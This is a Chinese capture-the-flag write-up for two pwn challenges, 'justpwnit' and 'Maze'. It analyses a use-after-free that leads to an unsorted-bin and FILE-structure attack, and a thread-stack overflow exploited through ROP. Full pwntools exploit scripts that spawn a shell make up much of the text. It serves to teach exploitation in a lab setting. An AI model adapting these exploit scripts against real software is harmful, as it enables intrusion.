时间:2021.10.31
地点:华为武汉研究所
战队:天命
justpwnit
题目环境:ubuntu:18.04
题目信息:
➜ pwn file pwn
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4b63f4d352f87151e9cedf99a9fedab2b1c4ce2b, not stripped
➜ pwn checksec pwn
[*] '/pwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
程序关键函数如下所示:
int __cdecl main(int argc, const char **argv, const char **envp)
{
……
init();
dest = malloc(0x1000uLL);
memcpy(dest, "Gust", 5uLL);
printf("Hello, %s.\n", dest);
buf = malloc(0x1000uLL);
memcpy(buf, "Now you can get a big box, what size?\n", 0x27uLL);
printf("%s", buf);
read(0, buf, 0x1000uLL);
v4 = atoi(buf);
if ( v4 <= 0xFFF || v4 > 0x5000 )
return 0;
ptr = malloc(v4);
bufa = malloc(0x1000uLL);
memcpy(bufa, "Now you can get a bigger box, what size?\n", 0x2AuLL);
printf("%s", bufa);
read(0, bufa, 0x1000uLL);
v5 = atoi(bufa);
if ( v5 <= 0x4FFF || v5 > 0xA000 )
return 0;
v13 = malloc(v5);
bufb = malloc(0x1000uLL);
memcpy(bufb, "Do you want to rename?(y/n)\n", 0x1DuLL);
printf("%s", bufb);
read(0, bufb, 0x1000uLL);
if ( *bufb == 'y' )
{
free(dest);
printf("Now your name is:%s, please input your new name!\n", dest);
read(0, dest, 0x1000uLL); // 存在UAF
}
bufc = malloc(0x1000uLL);
memcpy(bufc, "Do you want to edit big box or bigger box?(1:big/2:bigger)\n", 0x3CuLL);
printf("%s", bufc);
read(0, bufc, 0x1000uLL);
v6 = atoi(bufc);
printf("Let's edit, %s:\n", dest);
if ( v6 == 1 )
read(0, ptr, 0x1000uLL);
else
read(0, v13, 0x1000uLL);
free(ptr);
free(v13);
printf("bye! %s", dest);
return 0;
}
程序实现的功能很简单,先申请了Name
的内存空间,大小为0x1000
,接着可以申请自定义大小的堆内存,大小取件分别是0x1000~0x5000
、0x5000~0xA000
,然后提供了一次重新编辑Name
的机会,后门又提供了一次选择编辑刚刚申请的两个大堆块的机会,最后将两个大堆块free
掉,程序结束
漏洞点在于当选择重新编辑Name
的时候,会先把堆块进行释放,然后再编辑,导致存在UAF
漏洞。
漏洞利用步骤:
1、利用UAF
来进行Unsortbin Attack
,修改Global_max_fast
的值为main_arena+96
,那么程序最后会释放掉堆块,此时很大的堆块都被放到fastbin
链表中,每个fastbin
链表的头结点会在libc
空间存有一个指针,如图所示
当我们的堆块size可以控制的时候,我们可以修改从main_arena+16
之后任意地址的值为某个堆块的地址
2、利用步骤一来劫持_IO_list_all
指针,伪造一个File的结构体,利用 _IO_str_finish
来Getshell
,具体原理可以参考:https://wiki.mrskye.cn/Pwn/IO_FILE/Pwn_IO_FILE/
exp:
from pwn import *
# from LibcSearcher import *
context.log_level='debug'
debug = 1
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru('Now you can get a big box, what size?')
sl(str(0x1430))
ru('Now you can get a bigger box, what size?')
sl(str(0x5000))
ru('Do you want to rename?(y/n)')
sl('y')
ru('Now your name is:')
main_arena = u64(r.recv(6) + '\x00\x00')
li("main_arena",main_arena)
libc_base = main_arena-0x3ebca0
system = libc_base+libc.symbols['system']
global_max_fast = libc_base+0x3ed940
IO_list_all = libc_base + libc.symbols['_IO_list_all']
IO_str_jumps = 0x3e8360 + libc_base
payload = p64(main_arena)+p64(global_max_fast-0x10)
binsh = 0x00000000001b40fa + libc_base
sl(payload)
# debug()
ru("Do you want to edit big box or bigger box?(1:big/2:bigger)\n")
sl("1")
ru(':\n')
fake_file = pack_file(_IO_read_base=IO_list_all-0x10,
_IO_write_base=0,
_IO_write_ptr=1,
_IO_buf_base=binsh,
_mode=0,)
fake_file += p64(IO_str_jumps-8)+p64(0)+p64(system)
sl(fake_file[0x10:])
ri()
Maze
这道题是个有趣的题目,实现的功能是我们输入迷宫的边长(正方形),接着输入一个迷宫,程序会用dfs算法计算出迷宫的路径。
题目环境:ubuntu:20.04
题目信息:
[root@radish-/华为/maze 00:05 $]file maze
maze: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a0aa26b0152373339b68b5315deb93a7dfa46a4e, for GNU/Linux 3.2.0, stripped
[root@radish-/华为/maze 00:05 $]checksec maze
[*] '/maze/maze'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
漏洞一是在输入迷宫的长度时,没有检测下限,可以导致长度的最大值为0xff
接下来main函数中,连续两次调用了sub_401456
函数,函数中首先用mmap
申请了大小为0xB10000
的内存空间,然后直接调用了clone来创建了一个线程,并使用刚刚申请的空间作为线程的栈地址。
int __fastcall sub_401456(int (*a1)(void *arg), void *a2)
{
char v3; // [rsp+10h] [rbp-650h]
char v4; // [rsp+650h] [rbp-10h]
char *v5; // [rsp+658h] [rbp-8h]
v5 = mmap(0LL, 0xB10000uLL, 3, 0x20022, -1, 0LL);
qword_444130 = v5;
if ( v5 == -1LL )
{
perror(" mmap fail\n ");
exit(0);
}
return clone(a1, v5 + 0xB10000, 0x10F00, a2, &v3, &v4);
}
第一个线程函数中是通过dfs算法来计算maze的路径,可以看到sub_40154F
函数的栈空间是很大的
当dfs计算结束后,会设置一个信号值为1
void *__fastcall sub_401502(unsigned int *a1)
{
sub_40154F(*a1, a1[1]);
sign_1 = 1;
return memset(dword_444160, 0, 0x40000uLL);
}
再看第二个线程函数,可以看到线程一设置的信号值在这里用到了,目的是让线程二等到线程一结束之后再往下运行
int sub_401998()
{
int result; // eax
time(&qword_444158);
while ( !sign_1 )
;
printf("\n\n\ntime cost: %d ms\n", qword_444158 - timer);
show_maze(length);
result = puts("bye bye");
sign_2 = 1;
sign_1 = 0;
return result;
}
接下来main函数的等待线程二结束后执行sleep(0x20)
,然后程序结束。
经过调试,发现线程一和线程二的栈空间是连到一块的,且线程一的栈地址空间是在线程二站地址空间的下面。
至此,程序整体的功能已经分析明了,那么漏洞在哪里呢?
用户可用的是迷宫的长度和迷宫的形状。如果迷宫的是最大的长度0xff
,那么sub_40154F
的函数栈帧是可以放得下的,长乘宽:(4*0xff)*0xff=0x3f804
,因为dfs算法中使用到了递归函数,所以可以通过控制迷宫的形状来间接控制可以执行多少次sub_40154F
函数,每一次都会申请一个至少0x40020
的函数栈帧,该线程的整个栈大小是0xB10000
,对多也就能装下0xB10000/0x40020=44
函数的栈帧,如果超过了这个数量的话,就会冲破线程一的栈帧,因为线程二的栈空间是在线程一的上面,所以就会覆盖到线程而的栈空间,因此可以覆盖线程二的返回地址,从而进行ROP。
测试是否能够覆盖到线程二的返回地址,首先生成一个0xff*0xff
的迷宫
for x in range(0xff):
for y in range(0xff):
print eval("0x"+(chr(x)+chr(y)).encode("hex")),
print ""
接着生成一个正确路径长度为45的迷宫
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 0 1 0 0 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 3 1 1 1 1 1 1 1
1 0 1 0 1 0 1 0 1 1 1 1 1 1 1
1 0 0 0 1 0 0 0 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
直接替换到刚刚生成的大迷宫中,如图所示
测试代码:
from pwn import *
# from LibcSearcher import *
# context.log_level='debug'
debug = 1
file_name = './maze'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
debug()
ru("please input the length:")
sl("-1")
ru("please input the maze:")
f = open("./payload3.txt","rb+")
payload = f.read()
sl(payload)
ri()
调试时在第二个线程函数的ret
处下断点,如图所示,可以看到成功的把线程二的返回地址改成了输入迷宫的数据
根据返回地址找到在迷宫中的偏移,如图所示,用关键字来站位,之后把payload填充到这里即可
接下来就是平常的ROP
,先泄露libc
地址,然后执行system("/bin/sh")
即可
exp:
from pwn import *
# from LibcSearcher import *
# context.log_level='debug'
debug = 1
file_name = './maze'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru("please input the length:")
sl("-1")
ru("please input the maze:")
f = open("./payload2.txt","rb+")
start_addr = 0x401110
p_rdi = 0x0000000000401aeb# : pop rdi ; ret
puts_plt = file.plt['puts']
puts_got = file.got['puts']
ROP_payload = p64(p_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
pp = ""
for x in range(0,len(ROP_payload),4):
pp += str(int(eval("0x"+ROP_payload[x:x+4][::-1].encode("hex"))))
pp += " "
print pp
payload = f.read()
payload = payload.replace("thisispayload",pp)
sl(payload)
rud("bye bye\n")
libc_base = u64(r.recv(6)+"\x00\x00")-libc.symbols['puts']
li("libc_base",libc_base)
system = libc.symbols['system']+libc_base
binsh = 0x00000000001b75aa+libc_base
li("system",system)
li("binsh",binsh)
# print puts_got
ROP_payload = p64(p_rdi)+p64(binsh)+p64(0x0401A16)+p64(system)
# print ROP_payload.encode("hex")
pp = ""
for x in range(0,len(ROP_payload),4):
pp += str(int(eval("0x"+ROP_payload[x:x+4][::-1].encode("hex"))))
pp += " "
print pp
ru("please input the length:")
sl("-1")
# debug()
ru("please input the maze:")
f_2 = open("./payload2.txt","rb+")
payload_2 = f_2.read()
payload_2 = payload_2.replace("thisispayload",pp)
sl(payload_2)
ri()
总结
总体上难度不大,第二道Maze挺有意思的,但是比较麻烦。文中题目附件及exp